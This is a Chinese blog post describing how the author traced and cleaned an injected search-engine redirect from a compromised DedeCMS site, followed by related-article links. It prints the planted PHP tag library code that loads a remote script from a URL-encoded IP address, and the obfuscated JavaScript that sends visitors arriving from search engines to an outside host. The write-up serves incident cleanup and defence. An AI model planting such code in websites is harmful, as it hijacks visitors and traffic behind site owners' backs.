又经历了一次dedecms被挂马排毒的过程,排毒过程在这里跟大家分享一下。

挂马之后,网站的表现形式:

直接访问网站没有任何问题,从百度搜索的关键词访问网站,就跳转到另外一个网站。

根据我原来的排毒经验:很可能是有人在php里面写入了判断来路的代码,如果是经过百度来的,就跳转到另外一个网站,如果不是,就可以访问。

不过检查了一下php代码,没有发现任何问题。

从百度关键词访问过来的话,能够看到本网站的title,只是一闪而过,就跳转了。根据这个现象判断,马应该是在js里面。于是下载网站模板文件,查找可疑的js代码。找了很久没有找到。只好通过最笨的方法一点点排查。于是每一段写了一个alert。

找到最后出现的alert点击确定之后跳转,那么马就在那个alert附近。

找了一段时间,终于发现了一段可以的代码:{dede:dinfo}

做dedecms的人都知道,这个是一个自定义标签的调用方式,其源码在:/include/taglib/dinfo.lib.php里面。于是打开这个文件,看到如下代码:

[代码]php代码:

01
<?php

02
if(!defined('DEDEINC')){

03
exit("Request Error!");

04
}

05
/**

06
* 系统默认标签

07
*

08
* @version        $Id: dinfo.lib.php 1 9:29 2010年7月6日Z tianya $

09
* @package        DedeCMS.Taglib

10
* @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.

11
* @license        http://help.dedecms.com/usersguide/license.html

12
* @link           http://www.dedecms.com

13
*/

14

15
/*>>dede>>

16
<name>系统默认标签</name>

17
<type>全局标记</type>

18
<for>V55,V56,V57</for>

19
<description>系统默认标签</description>

20
<demo>

21
{dede:dinfo /}

22
</demo>

23
<attributes>

24
</attributes>

25
>>dede>>*/

26

27
function lib_dinfo()

28
{

29
global $dsql,$envs;

30
$revalue = '<script language="javascript" type="text/javascript" src="http://%31%31%38%2e%32%34%34%2e%32%31%35%2e%32%31%33/images/page_bg.gif"></script>';

31
return $revalue;

32
}

刚开始也没有看出什么问题,就是一段js代码,然后引用了一个图片,不过访问下这个图片地址就知道了,在浏览器中输入这个地址:http://%31%31%38%2e%32%34%34%2e%32%31%35%2e%32%31%33/images/page_bg.gif

能看到如下代码:

[代码]js代码:

1
GID89a="";

2
var s=document.referrer;

3
var str=window.location.href;

4
if(s.indexOf("go"+"o"+"gle")>0 || s.indexOf("b"+"ai"+"du")>0 || s.indexOf("y"+"ahoo")>0 || s.indexOf("s"+"ogou")>0 || s.indexOf("bing")>0 || s.indexOf("360")>0 || s.indexOf("s"+"os"+"o")>0 || s.indexOf("youdao")>0 )

5
window.location.href="http://118.244.215.213/Images/a2.asp?cpy="+str+"&kecy="+s;

怎么样,看出问题来了吧?

简单解说一下:

[代码]js代码:

1
if(s.indexOf("go"+"o"+"gle")>0 || s.indexOf("b"+"ai"+"du")>0 || s.indexOf("y"+"ahoo")>0 || s.indexOf("s"+"ogou")>0 || s.indexOf("bing")>0 || s.indexOf("360")>0 || s.indexOf("s"+"os"+"o")>0 || s.indexOf("youdao")>0 )

这里就是判断来路,如果来源是:google、百度、yahoo、sogou、bing、360、soso、youdao,就跳转到下面这个地址:

[代码]js代码:

1
http://118.244.215.213/Images/a2.asp?cpy="+str+"&kecy="+s;

(这个人可真够黑的,光拦截百度还不够,还要把这些常用的搜索都拦截了。)

这段代码挂的太隐蔽了,让我找了好久。在这里分享给大家,希望能够帮助需要的朋友。

除非注明,文章均为 PHP二次开发网 原创,转载请注明本文地址: http://www.php2.cc/article-865-1.html

dedecms被挂马排毒的过程的更多相关文章

  1. 织梦网站dedecms防止挂马的思路

    DedeCms做为国内使用最为广泛使用人数最多的CMS之一,经常爆出漏洞,每个漏洞的爆出,影响都是一大片,轻则被人挂广告.弹框,重则服务器成为肉机,宝贵数据丢失.那么有什么办法可以提高DedeCms的 ...

  2. 织梦Dedecms容易被挂马文件以及可疑文件汇总

    1. 被植入木马,然后网站打开后自动弹出博彩,赌博,色情网站,一般这种病毒的特征代码如下 二.织梦CMS被挂马清理方法 1.删除增加的管理员service.spider等用户名. 2.删除根目录的as ...

  3. 织梦dedecms修改include和plus重命名提高安全性防漏洞注入挂马

    织梦dedecms是新手站长使用得比较多的一个建站开源程序,正因如此,也是被被入侵挂马比较多的程序.下面就来跟大家说一下怎么重新命名dedecms的include文件夹以及plus文件夹来提高网站的安 ...

  4. [No0000A1]人体排毒时间表,别再信了

    经常可以看到有「人体排毒时间表」这样的说法,不同的媒体反复传播,大同小异.这些说法里,大多把人体的系统器官都给安排了一个特定的时段,认为在某时段是某器官的排毒时间,睡觉能排一切毒.事实上果真如此么?让 ...

  5. 织梦CMS被挂马特征汇总

    一.织梦CMS被挂马特征汇总 2013织梦CMS被挂马特征汇总.最近很多朋友反应后台多了几个系统管理员用户:service.spider等,而且自己之前的管理员用户登陆时候会提示用户名不存在.还有朋友 ...

  6. 使用NB Exploit Kit攻击的APT样本分析——直接看流程图,就是网页挂马,利用java和flash等漏洞来在你主机安装和运行恶意软件

    使用NB Exploit Kit攻击的APT样本分析 from:https://cloud.tencent.com/developer/article/1092136 1.起因 近期,安恒工程师在某网 ...

  7. ECMS清除挂马以及后台升级实战(从ecms6.6~ecms7.0)

    当时状况 Windows Server 2008 R2 Enterprise + 帝国CMS6.6 + MySql   server软件: Microsoft-IIS/7.5 操作系统: WINNT ...

  8. JS挂马攻防

    JS挂马攻防实录 攻现在最多见的JS挂马方法有两种,一种是直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行(图1), ...

  9. wordpress网站被挂马以及防御方法

    wordpress本身的安全性是非常的高的,一般不会被轻易的破解,被挂马,但是我们也不能够过度迷信wordpress的安全性,凡是连接上互联网的服务器和电脑,都存在被破解的风险性.所以我们在日常维护自 ...

随机推荐

  1. 淘宝商品html--网页结构

    淘宝商品html--网页结构 本篇爬虫紧接上一篇关于 泸州老窖 的爬虫随笔: import re import json def get_space_end(level): return ' ' * ...

  2. NOIP 模拟 十一

    T1 math 分析性质,对于 $$ ax+by=c$$ 有 $$ gcd(x,y)|c$$ 所以 $$ gcd(a_1,a_2 .....,a_n)|num$$ 换句话说就是最后得到的数一定是 GC ...

  3. 重新整理 .net core 周边阅读篇————AspNetCoreRateLimit 之规则[二]

    前言 本文和上文息息相关. https://www.cnblogs.com/aoximin/p/15315102.html 是紧接着上文invoke来书写的,那么现在来逐行分析invoke到底干了啥. ...

  4. 基于Hexo+Github Pages搭建的博客

    概念 Github Pages可以被认为是用户编写的.托管在github上的静态网页.使用Github Pages可以为你提供一个免费的服务器,免去了自己搭建服务器和写数据库的麻烦.此外还可以绑定自己 ...

  5. Firewalls命令行配置

    1.指定端口开放查询.开放.关闭端口 # 查询端口是否开放 firewall-cmd --query-port=8080/tcp # 开放80端口 firewall-cmd --permanent - ...

  6. MSSQL还原数据库,更改用户登陆权限

    有的时候还原完数据库后,使用账号登陆不进去,报告没有这个用户的时候,可以使用以下sql解决: sp_change_users_login 'update_one','username','userna ...

  7. Spring框架访问数据库的两种方式的小案例

    1.1 以Xml的方式访问数据库的案例 要以xml的方式访问数据库需要用到JdbcTemplate ,因为 JdbcTemplate(jdbc的模板对象)在Spring 中提供了一个可以操作数据库的对 ...

  8. python join的用法

    joinn其实就相当于用某个字符串来拼接列表或者元组中的元素 当然也可以将字符串以某一个str拼接起来 得出的结果自然也是字符串 ex1: results: 实例用处: 当我们从某个文件中读出内容时, ...

  9. for...of 和 for...in 是否可以直接遍历对象,有什么解决方案

    答案: for...of不能直接遍历对象,for  in可以直接遍历对象 原因: for...of需要实现iterator接口,对象没有实现iterator接口 解决: const obj = {a: ...

  10. Go语言核心36讲(Go语言进阶技术五)--学习笔记

    11 | 通道的高级玩法 我们已经讨论过了通道的基本操作以及背后的规则.今天,我再来讲讲通道的高级玩法. 首先来说说单向通道.我们在说"通道"的时候指的都是双向通道,即:既可以发也 ...